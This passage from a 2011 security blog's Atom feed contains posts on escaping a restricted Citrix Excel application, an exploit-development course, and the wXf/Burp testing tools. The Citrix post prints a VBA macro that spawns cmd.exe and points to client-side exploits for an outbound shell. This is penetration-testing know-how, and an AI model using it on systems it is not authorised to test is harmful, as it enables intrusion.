macro button and run your macro.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-56Uyo8r-cj4/TgNtezjJiQI/AAAAAAAAAnI/5DgSoZakwgI/s1600/runmacro.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 260px;" src="http://2.bp.blogspot.com/-56Uyo8r-cj4/TgNtezjJiQI/AAAAAAAAAnI/5DgSoZakwgI/s400/runmacro.PNG" alt="" id="BLOGGER_PHOTO_ID_5621457135889647874" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;and get shell&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-5fSeCdDl1sU/TgPttByj4II/AAAAAAAAAnQ/62LSRPOUtgw/s1600/shell2.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 302px;" src="http://1.bp.blogspot.com/-5fSeCdDl1sU/TgPttByj4II/AAAAAAAAAnQ/62LSRPOUtgw/s400/shell2.PNG" alt="" id="BLOGGER_PHOTO_ID_5621598117718909058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;** To be clear all of this is running &lt;span style="font-weight: bold;"&gt;remotely&lt;/span&gt; on the citrix host.**&lt;br /&gt;&lt;/p&gt;&lt;p&gt;The macro code&lt;/p&gt;&lt;pre style="BORDER-BOTTOM: rgb(0,51,51) thin solid; BORDER-LEFT: rgb(0,51,51) thin solid; PADDING-BOTTOM: 5px; LINE-HEIGHT: 14px; BACKGROUND-COLOR: rgb(24,24,24); PADDING-LEFT: 5px; WIDTH: 90%; PADDING-RIGHT: 5px; FONT-FAMILY: courier; COLOR: rgb(255,255,255); FONT-SIZE: 12px; OVERFLOW: auto; BORDER-TOP: rgb(0,51,51) thin solid; BORDER-RIGHT: rgb(0,51,51) thin solid; PADDING-TOP: 5px"&gt;&lt;code&gt;Sub GETSHELL()&lt;br /&gt;'execute EXE file&lt;br /&gt;Shell "CMD /K C:\windows\system32\cmd.exe", vbNormalFocus&lt;br /&gt;End Sub&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;You could also just type a url into excel...&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-0HkWUFXifv0/TgNlqFXMIWI/AAAAAAAAAm4/MOG8rmSt8UE/s1600/just-put-a-url-inexcel.PNG"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 289px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5621448533556863330" alt="" src="http://2.bp.blogspot.com/-0HkWUFXifv0/TgNlqFXMIWI/AAAAAAAAAm4/MOG8rmSt8UE/s400/just-put-a-url-inexcel.PNG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;and click it..But that's pretty low tech and not much fun :-)&lt;br /&gt;&lt;p&gt;&lt;a href="http://4.bp.blogspot.com/-xBiO3IBTKns/TgNl9C5OOEI/AAAAAAAAAnA/2Ir_NjKVxFk/s1600/click-the-link.PNG"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 225px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5621448859311814722" alt="" src="http://4.bp.blogspot.com/-xBiO3IBTKns/TgNl9C5OOEI/AAAAAAAAAnA/2Ir_NjKVxFk/s400/click-the-link.PNG" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Again this IE browser is running remotely on the citrix host. From here you can client-side exploit yourself...i.e. java applet exloit... to get  your outbound shell.&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-8637442303793977744?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/8637442303793977744/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=8637442303793977744' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/8637442303793977744'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/8637442303793977744'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/06/restricted-citrix-excel-application.html' title='Restricted Citrix Excel Application Escapes'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-xhpUrXyhFGs/TgNhiMiIuKI/AAAAAAAAAmA/dT6aleoZwvU/s72-c/citrix-published-apps.PNG' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-4558423312795145529</id><published>2011-06-19T17:41:00.003-04:00</published><updated>2011-06-19T18:02:53.811-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='exploit dev course'/><title type='text'>Strategic Security -- Exploit Development Course</title><content type='html'>Joe McCray with Strategic Security is running a two week exploit dev course.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Course Description &amp;amp; Instructor Information:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://strategicsec.com/Exploit-Dev-Courses-Oct-2011.pdf"&gt;http://strategicsec.com/Exploit-Dev-Courses-Oct-2011.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Strategic Security has teamed up with Net-Square to provide the most comprehensive exploit development course package available to the public. Occasionally similar courses are offered privately to various three letter agencies and large financial institutions.&lt;br /&gt;&lt;br /&gt;Exploit development is often considered the most difficult area of focus in the entire field of IT security. It requires both a broad range of skills and deep level of knowledge in Networking, Operating Systems, and Programming. Now you too can learn what has long been thought to be "Black Magic" by many from one of the top practitioners and trainers in the world.&lt;br /&gt;&lt;br /&gt;How is this course put together?&lt;br /&gt;The course is actually a 2 week package deal designed to both teach the fundamentals of modern exploit development and give the student ample guided practice time with the instructor to actually get proficient.&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Dates:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Exploit Dev: No Assembly Required Oct 31 - 4 Nov 2011 (5 Days)&lt;br /&gt;Exploit Dev: Target Practice Nov 7 - 11 2011 (5 Days)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Training Location&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The workshops will be held at "The Academy of Computer Education" in Greenbelt, MD.&lt;br /&gt;The address is:&lt;br /&gt;&lt;br /&gt;7833 Walker Drive, Suite 520C Greenbelt, Maryland 20770&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;$1000 Discount by using these links&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Exploit Dev 1 Week @ $5,000&lt;br /&gt;&lt;a href="http://tinyurl.com/SS-EDNAR-D-CG"&gt;http://tinyurl.com/SS-EDNAR-D-CG&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Exploit Dev 1 Week @ $6,000&lt;br /&gt;&lt;a href="http://tinyurl.com/SS-D-EDTP-CG"&gt;http://tinyurl.com/SS-D-EDTP-CG&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Exploit Dev 2 Week Package Deal @ 8,500&lt;br /&gt;&lt;a href="http://tinyurl.com/SS-EDNAR-TP-D-CG"&gt;http://tinyurl.com/SS-EDNAR-TP-D-CG&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-4558423312795145529?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/4558423312795145529/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=4558423312795145529' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/4558423312795145529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/4558423312795145529'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/06/strategic-security-exploit-development.html' title='Strategic Security -- Exploit Development Course'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-2167741735459675025</id><published>2011-06-15T23:36:00.013-04:00</published><updated>2011-07-02T11:36:05.099-04:00</updated><title type='text'>Incident Analysis: Million Dollars Lost In A Minute</title><content type='html'>Dudes, I and two other fellows have dealt with an incident about a victim whose online banking account has been compromised and a huge lumpsum of money is transferred out to eastern europe. In fact, the victim is still using the old two-factor authentication token, it means we cannot identify the generated passcode is for authentication, money transfer to a specific account , bill payment, etc, attacker manipulates it indeed. Please download it from here. &lt;br /&gt;&lt;a href="http://goo.gl/FVFBO"&gt;goo.gl/FVFBO&lt;/a&gt;&lt;br /&gt;Enjoy it, mate ;-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-2167741735459675025?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/2167741735459675025/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=2167741735459675025' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2167741735459675025'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2167741735459675025'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/06/incident-analysis-million-dollars-lost.html' title='Incident Analysis: Million Dollars Lost In A Minute'/><author><name>Dark Floyd</name><uri>http://www.blogger.com/profile/01457178333126304897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://2.bp.blogspot.com/_0b3WKlWLoR0/SQmMZU01odI/AAAAAAAAABM/8KmrirL9u0c/S220/MyBrain.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-4249796298498682206</id><published>2011-06-03T08:55:00.001-04:00</published><updated>2011-06-24T15:28:58.494-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cktricky'/><title type='text'>wXf module buby/keyword_search_send</title><content type='html'>I've created a video on how to use the latest module addition to the buby family of modules in wXf. The purpose behind the module is to search Burp's history and seek out parameters in requests to an application which match our list of keywords. The keywords are basically parameters that might warrant manual analysis.&lt;br /&gt;&lt;br /&gt;Consider we've made the following requests:&lt;br /&gt;&lt;br /&gt;http://www.example.com/welcome.php&lt;br /&gt;&lt;br /&gt;http://www.example.com/resource.php?accountid=&lt;br /&gt;&lt;br /&gt;http://www.example.com/help.php?page=1&lt;br /&gt;&lt;br /&gt;Most folks would agree that the request with a parameter of&amp;nbsp;&lt;b&gt;accountid&lt;/b&gt; warrants some manual analysis. On a larger scale (think thousands of requests), this can be tedious to search and then send to intruder or repeater. So the idea is that we have a keyword list to help speed things up, when a match is found, an alert is sent to burp and the request is sent over to repeater &amp;amp; intruder for manual analysis.&lt;br /&gt;&lt;br /&gt;As of now the keyword list in wXf isn't huge but I plan on adding to it over the next few days. If you'd like to utilize GitHub's fork/edit/merge function to contribute interesting parameter names please fork the following &lt;a href="https://github.com/WebExploitationFramework/wXf/blob/master/datum/wordlists/buby/keywords.txt"&gt; file&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;If you have a personal keyword list that you'd like to use privately that is okay too. The video shows you how to add a file under the datum directory and reload the list of "lfiles" (files under the datum directory).&lt;br /&gt;&lt;br /&gt;Don't forget that if you have questions on usage, installation or anything else we've provided documentation &lt;a href="https://github.com/WebExploitationFramework/wXf/wiki"&gt; here &lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Lastly, here is the video:&lt;br /&gt;&lt;br /&gt;&lt;iframe src="http://player.vimeo.com/video/24610228?title=0&amp;amp;byline=0&amp;amp;portrait=0" width="400" height="300" frameborder="0"&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a href="http://vimeo.com/24610228"&gt;wXf module buby/keyword_search_send&lt;/a&gt; from &lt;a href="http://vimeo.com/user2590597"&gt;cktricky&lt;/a&gt; on &lt;a href="http://vimeo.com"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-4249796298498682206?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/4249796298498682206/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=4249796298498682206' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/4249796298498682206'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/4249796298498682206'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/06/wxf-module-bubykeywordsearchsend.html' title='wXf module buby/keyword_search_send'/><author><name>cktricky</name><uri>http://www.blogger.com/profile/16815248087217800849</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/--K0zI_slcV8/TgT5x_k1FlI/AAAAAAAAAU4/OC192luGV7k/s220/myphoto.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-8157714021967315246</id><published>2011-05-23T21:08:00.005-04:00</published><updated>2011-05-23T21:22:50.386-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>carnal0wnage/Attack Research Blog Back On Blogger</title><content type='html'>Carnal0wnage/Attack Research Blog is back on blogspot.  URL is still &lt;a href="http://carnal0wnage.attackresearch.com"&gt;http://carnal0wnage.attackresearch.com&lt;/a&gt; and &lt;a href="http://carnal0wnage.blogspot.com"&gt;http://carnal0wnage.blogspot.com&lt;/a&gt; should redirect you to the right place.  I doubt that RSS feeds will be so lucky though...you'll probably want to update your feeds.&lt;br /&gt;&lt;br /&gt;Hopefully being back on blogger will allow for more and better discussions than on the drupal site and if the &lt;a href="http://blindelephant.sourceforge.net/"&gt;blind elephant&lt;/a&gt; guy is working on an update, hopefully this fucks up his talk and he doesn't get to call us out this year b/c Drupal sucks to update/manage.&lt;br /&gt;&lt;br /&gt;-CG&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-8157714021967315246?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/8157714021967315246/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=8157714021967315246' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/8157714021967315246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/8157714021967315246'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/05/carnal0wnageattack-research-blog-back.html' title='carnal0wnage/Attack Research Blog Back On Blogger'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-2541254145116852535</id><published>2011-05-22T10:56:00.001-04:00</published><updated>2011-06-24T15:28:58.495-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cktricky'/><title type='text'>JRuby + Buby + wXf = fun</title><content type='html'>The Web Exploitation Framework has created two separate versions of the console. The version you get depends on the environment it is started in.&lt;br /&gt;&lt;br /&gt;If JRuby, as of now, you get a version of the framework that allows you to interact with Burp from the console and run Buby scripts (with the flexibility of changing options easily and quickly).&lt;br /&gt;&lt;br /&gt;Here is a video of this new step for the framework:&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="300" src="http://player.vimeo.com/video/24076725?title=0&amp;amp;byline=0&amp;amp;portrait=0" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/24076725"&gt;Buby Module&lt;/a&gt; from &lt;a href="http://vimeo.com/user2590597"&gt;cktricky&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Documentation can be found at the &lt;a href="https://github.com/WebExploitationFramework/wXf/wiki"&gt;wiki page&lt;/a&gt; for wXf.&lt;br /&gt;&lt;br /&gt;For those of you who have been following the Buby Script Basics of this blog, I hope you'll apply that knowledge to creating a module in wXf. This is a great way for us to share our individual scripts in a way that allows them to be customized on the fly (because the console can set options like the rhost, rport, content to extract, etc.)&lt;br /&gt;&lt;br /&gt;Anyway, hopefully this new feature of the framework can continue to grow and become a more powerful feature.&lt;br /&gt;&lt;br /&gt;Happy Hacking,&lt;br /&gt;&lt;br /&gt;~cktricky&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-2541254145116852535?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/2541254145116852535/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=2541254145116852535' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2541254145116852535'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2541254145116852535'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/05/jruby-buby-wxf-fun.html' title='JRuby + Buby + wXf = fun'/><author><name>cktricky</name><uri>http://www.blogger.com/profile/16815248087217800849</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/--K0zI_slcV8/TgT5x_k1FlI/AAAAAAAAAU4/OC192luGV7k/s220/myphoto.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-8350000751593691290</id><published>2011-05-15T14:44:00.011-04:00</published><updated>2011-06-24T16:13:02.107-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cktricky'/><title type='text'>Buby Script Basics Part 6</title><content type='html'>&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ evt_http_message &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ evt_scan_issue&amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√&lt;/span&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;doActiveScan &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ doPassiveScan &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ excludeFromScope&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ includeInScope &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ isInScope&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ issueAlert&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ sendToIntruder&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;s&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ sendToRepeater&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ sendToSpider&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;√ makeHttpRequest&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;In this portion of the Buby Script Basics series (Part 6), we cover the sendToSpider and makeHttpRequest methods.&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="line-height: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit; line-height: normal;"&gt;As always, you can find sample scripts for all of the code in this series under the examples directory of the buby-script repo located&amp;nbsp;&lt;/span&gt;&lt;a href="https://github.com/WebExploitationFramework/Buby-Scripts/tree/master/examples" style="text-decoration: none;"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;&lt;span class="Apple-style-span" 